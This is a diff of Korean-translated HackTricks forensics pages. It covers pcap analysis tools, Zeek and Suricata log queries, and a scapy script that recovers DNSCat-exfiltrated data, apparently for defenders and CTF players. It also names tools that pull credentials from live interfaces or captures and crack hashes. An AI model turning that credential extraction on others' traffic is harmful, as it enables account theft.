AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **Twitter**에서 **팔로우**하세요 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 **공유**하세요.
</details>
{% endhint %}

View file

@ -1,47 +1,48 @@
# Pcap Inspection # Pcap Inspection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로**부터 **히어로**까지 **AWS 해킹**을 배우세요!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
{% endhint %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 중요한 사이버 보안 행사 중 하나로 **유럽**에서도 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진**하는 임무를 가진 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들을 위한 뜨거운 만남의 장입니다. [**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성이 높은 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 임무**를 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
{% hint style="info" %} {% hint style="info" %}
**PCAP****PCAPNG**에 대한 참고: PCAP 파일 형식에는 두 가지 버전이 있습니다. **PCAPNG은 더 최신이며 모든 도구에서 지원되지 않을 수 있습니다**. 다른 도구에서 작업하기 위해 파일을 Wireshark나 다른 호환 도구를 사용하여 PCAPNG에서 PCAP로 변환해야 할 수도 있습니다. **PCAP****PCAPNG**에 대한 주의: PCAP 파일 형식에는 두 가지 버전이 있습니다; **PCAPNG는 더 최신이며 모든 도구에서 지원되지 않습니다**. 다른 도구에서 작업하기 위해 Wireshark 또는 다른 호환 도구를 사용하여 PCAPNG에서 PCAP로 파일을 변환해야 할 수도 있습니다.
{% endhint %} {% endhint %}
## Pcap을 위한 온라인 도구 ## Online tools for pcaps
* Pcap의 헤더가 **손상**된 경우 [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)를 사용하여 **수정**해야 합니다. * pcap의 헤더가 **손상된** 경우: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)를 사용하여 **수정**해 보세요.
* Pcap에서 **정보를 추출**하고 **악성 코드**를 검색하려면 [**PacketTotal**](https://packettotal.com)을 사용하세요. * [**PacketTotal**](https://packettotal.com)에서 pcap 내의 **정보**를 추출하고 **악성코드**를 검색하세요.
* [**www.virustotal.com**](https://www.virustotal.com) 및 [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)을 사용하여 **악성 활동**을 검색하세요. * [**www.virustotal.com**](https://www.virustotal.com) 및 [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)에서 **악의적인 활동**을 검색하세요.
* 브라우저에서의 **전체 pcap 분석**은 [**https://apackets.com/**](https://apackets.com/)에서 가능합니다. * [**https://apackets.com/**](https://apackets.com/)에서 브라우저를 통한 **전체 pcap 분석**.
## 정보 추출 ## Extract Information
다음 도구는 통계, 파일 등을 추출하는 데 유용합니다. 다음 도구는 통계, 파일 등을 추출하는 데 유용합니다.
### Wireshark ### Wireshark
{% hint style="info" %} {% hint style="info" %}
**PCAP를 분석할 예정이라면 기본적으로 Wireshark 사용 방법을 알아야 합니다** **PCAP을 분석하려면 기본적으로 Wireshark를 사용하는 방법을 알아야 합니다.**
{% endhint %} {% endhint %}
Wireshark 트릭은 다음에서 찾을 수 있습니다: Wireshark 은 다음에서 찾을 수 있습니다:
{% content-ref url="wireshark-tricks.md" %} {% content-ref url="wireshark-tricks.md" %}
[wireshark-tricks.md](wireshark-tricks.md) [wireshark-tricks.md](wireshark-tricks.md)
@ -49,11 +50,11 @@ Wireshark 트릭은 다음에서 찾을 수 있습니다:
### [**https://apackets.com/**](https://apackets.com/) ### [**https://apackets.com/**](https://apackets.com/)
브라우저에서의 Pcap 분석. 브라우저에서 pcap 분석.
### Xplico Framework ### Xplico Framework
[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_는 **pcap**을 분석하고 정보를 추출할 수 있습니다. 예를 들어 pcap 파일에서 Xplico는 각 이메일 (POP, IMAP 및 SMTP 프로토콜), 모든 HTTP 콘텐츠, 각 VoIP 통화 (SIP), FTP, TFTP 등을 추출합니다. [**Xplico** ](https://github.com/xplico/xplico)_(리눅스 전용)_는 **pcap**을 **분석**하고 그로부터 정보를 추출할 수 있습니다. 예를 들어, pcap 파일에서 Xplico는 각 이메일(POP, IMAP 및 SMTP 프로토콜), 모든 HTTP 콘텐츠, 각 VoIP 통화(SIP), FTP, TFTP 등을 추출합니다.
**설치** **설치**
```bash ```bash
@ -67,28 +68,28 @@ sudo apt-get install xplico
/etc/init.d/apache2 restart /etc/init.d/apache2 restart
/etc/init.d/xplico start /etc/init.d/xplico start
``` ```
_**127.0.0.1:9876**_에 _**xplico:xplico**_ 자격 증명으로 액세스합니다. Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_
그런 다음 **새로운 사례**를 만들고 해당 사례 내에 **새로운 세션**을 만들고 **pcap** 파일을 **업로드**합니다. 그런 다음 **새 사례**를 만들고, 사례 내에서 **새 세션**을 만들고 **pcap** 파일을 **업로드**합니다.
### NetworkMiner ### NetworkMiner
Xplico와 마찬가지로 이 도구는 pcap에서 **분석 및 객체 추출**을 위한 도구입니다. 무료 버전을 [**여기**](https://www.netresec.com/?page=NetworkMiner)에서 **다운로드**할 수 있습니다. **Windows**와 호환됩니다.\ Xplico와 마찬가지로 **pcaps**에서 객체를 **분석하고 추출하는** 도구입니다. **여기서** [**다운로드**](https://www.netresec.com/?page=NetworkMiner)할 수 있는 무료 버전이 있습니다. **Windows**에서 작동합니다.\
이 도구는 또한 **더 빠른** 방식으로 **패킷에서 다른 정보를 분석**하는 데 유용합니다. 이 도구는 패킷에서 **분석된 다른 정보**를 얻는 데도 유용하여 **더 빠르게** 무슨 일이 일어나고 있는지 알 수 있습니다.
### NetWitness Investigator ### NetWitness Investigator
[**여기**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware)에서 **NetWitness Investigator를 다운로드**할 수 있습니다 **(Windows에서 작동)**.\ [**여기서 NetWitness Investigator를 다운로드**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware)할 수 있습니다. **(Windows에서 작동합니다)**.\
도구는 **패킷을 분석**하고 정보를 유용한 방식으로 정렬하여 **내부에서 무슨 일이 일어나고 있는지 파악**하는 데 유용합니다. 것은 패킷을 **분석하고** 정보를 유용한 방식으로 정리하여 **내부에서 무슨 일이 일어나고 있는지 알 수 있는** 또 다른 유용한 도구입니다.
### [BruteShark](https://github.com/odedshimon/BruteShark) ### [BruteShark](https://github.com/odedshimon/BruteShark)
* 사용자 이름 및 암호 추출 및 인코딩 (HTTP, FTP, Telnet, IMAP, SMTP...) * 사용자 이름과 비밀번호 추출 및 인코딩 (HTTP, FTP, Telnet, IMAP, SMTP...)
* 인증 해시 추출 및 Hashcat을 사용하여 해독 (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) * 인증 해시 추출 및 Hashcat을 사용하여 크랙 (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
* 시각적 네트워크 다이어그램 작성 (네트워크 노드 및 사용자) * 시각적 네트워크 다이어그램 구축 (네트워크 노드 및 사용자)
* DNS 쿼리 추출 * DNS 쿼리 추출
* 모든 TCP 및 UDP 세션 재구성 * 모든 TCP 및 UDP 세션 재구성
* 파일 조각내기 * 파일 조각
### Capinfos ### Capinfos
``` ```
@ -96,29 +97,29 @@ capinfos capture.pcap
``` ```
### Ngrep ### Ngrep
만약 pcap 내부에서 **무언가를** 찾고 싶다면 **ngrep**를 사용할 수 있습니다. 다음은 주요 필터를 사용한 예시입니다: pcap 안에서 **무언가**를 **찾고** 있다면 **ngrep**을 사용할 수 있습니다. 다음은 주요 필터를 사용하는 예입니다:
```bash ```bash
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
``` ```
### 조각 모음 ### Carving
일반적인 조각 모음 기술을 사용하여 pcap에서 파일과 정보를 추출하는 데 유용할 수 있습니다: 일반적인 조각 기술을 사용하면 pcap에서 파일과 정보를 추출하는 데 유용할 수 있습니다:
{% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %} {% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md)
{% endcontent-ref %} {% endcontent-ref %}
### 자격 증명 캡처 ### Capturing credentials
[https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz)와 같은 도구를 사용하여 pcap 또는 라이브 인터페이스에서 자격 증명을 구문 분석할 수 있습니다. pcap 또는 라이브 인터페이스에서 자격 증명을 구문 분석하려면 [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz)와 같은 도구를 사용할 수 있습니다.
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성 높은 사이버 보안 행사 중 하나이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 데 봉사**하는 이 컨퍼런스는 모든 분야의 기술 및 사이버 보안 전문가들에게 뜨거운 만남의 장입니다. [**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성이 높은 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 임무**를 가지고 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
## Exploits/Malware 확인 ## Check Exploits/Malware
### Suricata ### Suricata
@ -135,17 +136,17 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
``` ```
### YaraPcap ### YaraPcap
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap)은 다음을 수행하는 도구입니다. [**YaraPCAP**](https://github.com/kevthehermit/YaraPcap)는 다음과 같은 도구입니다.
* PCAP 파일을 읽고 HTTP 스트림을 추출합니다. * PCAP 파일을 읽고 Http 스트림을 추출합니다.
* 모든 압축된 스트림을 gzip으로 해제합니다. * 압축된 스트림을 gzip으로 해제합니다.
* Yara로 모든 파일을 스캔합니다. * 모든 파일을 yara로 스캔합니다.
* report.txt를 작성합니다. * report.txt를 작성합니다.
* 선택적으로 일치하는 파일을 디렉토리에 저장합니다. * 선택적으로 일치하는 파일을 디렉토리에 저장합니다.
### 악성코드 분석 ### Malware Analysis
알려진 악성코드의 지문을 찾을 수 있는지 확인하십시오: 알려진 악성코드의 지문을 찾을 수 있는지 확인하세요:
{% content-ref url="../malware-analysis.md" %} {% content-ref url="../malware-analysis.md" %}
[malware-analysis.md](../malware-analysis.md) [malware-analysis.md](../malware-analysis.md)
@ -153,9 +154,11 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
## Zeek ## Zeek
> [Zeek](https://docs.zeek.org/en/master/about.html)는 수동적인 오픈 소스 네트워크 트래픽 분석기입니다. 많은 운영자들이 의심스러운 또는 악의적인 활동의 조사를 지원하기 위해 네트워크 보안 모니터(NSM)로서 Zeek를 사용합니다. Zeek는 보안 도메인을 넘어서 성능 측정 및 문제 해결을 포함한 다양한 트래픽 분석 작업을 지원합니다. > [Zeek](https://docs.zeek.org/en/master/about.html)는 수동적이고 오픈 소스인 네트워크 트래픽 분석기입니다. 많은 운영자들이 Zeek를 네트워크 보안 모니터(NSM)로 사용하여 의심스러운 또는 악의적인 활동에 대한 조사를 지원합니다. Zeek는 보안 도메인을 넘어 성능 측정 및 문제 해결을 포함한 다양한 트래픽 분석 작업도 지원합니다.
기본적으로 `zeek`에 의해 생성된 로그는 **pcap**이 아닙니다. 따라서 **pcap에 대한 정보**가 있는 로그를 분석하기 위해 **다른 도구**를 사용해야 합니다. 기본적으로 `zeek`에 의해 생성된 로그는 **pcap**이 아닙니다. 따라서 **pcap**에 대한 **정보**가 있는 로그를 분석하기 위해 **다른 도구**를 사용해야 합니다.
### Connections Info
```bash ```bash
#Get info about longest connections (add "grep udp" to see only udp traffic) #Get info about longest connections (add "grep udp" to see only udp traffic)
#The longest connection might be of malware (constant reverse shell?) #The longest connection might be of malware (constant reverse shell?)
@ -222,7 +225,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
#See top DNS domain requested with rita #See top DNS domain requested with rita
rita show-exploded-dns -H --limit 10 zeek_logs rita show-exploded-dns -H --limit 10 zeek_logs
``` ```
## 다른 pcap 분석 트릭 ## 다른 pcap 분석
{% content-ref url="dnscat-exfiltration.md" %} {% content-ref url="dnscat-exfiltration.md" %}
[dnscat-exfiltration.md](dnscat-exfiltration.md) [dnscat-exfiltration.md](dnscat-exfiltration.md)
@ -240,20 +243,21 @@ rita show-exploded-dns -H --limit 10 zeek_logs
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성 높은 사이버 보안 이벤트 중 하나이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 데 봉사하는** 이 컨퍼런스는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다. [**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성 높은 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 임무**를 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# DNSCat pcap 분석 # DNSCat pcap 분석
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사 광고를 HackTricks에서 보거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io) #### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)**다크 웹**을 기반으로 한 검색 엔진으로, **무료** 기능을 제공하여 회사나 고객이 **스틸러 악성 코드**에 의해 **침해**당했는지 확인할 수 있습니다. [**WhiteIntel**](https://whiteintel.io)**다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보를 도난당한 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다. WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
그들의 웹사이트를 확인하고 **무료**로 엔진을 시험해 볼 수 있습니다: 그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
*** ***
DNSCat를 통해 **암호화를 사용하지 않고** 데이터가 **유출**된 pcap이 있다면, 유출된 내용을 찾을 수 있습니다. DNSCat에 의해 **exfiltrated**된 데이터가 포함된 pcap이 있는 경우 (암호화를 사용하지 않고), 유출된 내용을 찾을 수 있습니다.
**첫 9바이트**가 실제 데이터가 아니라 **C\&C 통신과 관련**되어 있다는 것만 알면 됩니다: **첫 9 바이트**는 실제 데이터가 아니라 **C\&C 통신**과 관련이 있다는 것을 아는 것만으로 충분합니다:
```python ```python
from scapy.all import rdpcap, DNSQR, DNSRR from scapy.all import rdpcap, DNSQR, DNSRR
import struct import struct
@ -49,23 +50,24 @@ last = qry
#print(f) #print(f)
``` ```
더 많은 정보: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ 자세한 정보는 다음을 참조하세요: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\
[https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md) [https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md)
Python3와 함께 작동하는 스크립트가 있습니다: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) Python3와 함께 작동하는 스크립트가 있습니다: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder)
``` ```
python3 dnscat_decoder.py sample.pcap bad_domain python3 dnscat_decoder.py sample.pcap bad_domain
``` ```
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 기여하세요.**
</details> </details>
{% endhint %}

View file

@ -1,43 +1,45 @@
# USB 키스트로크 # USB Keystrokes
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
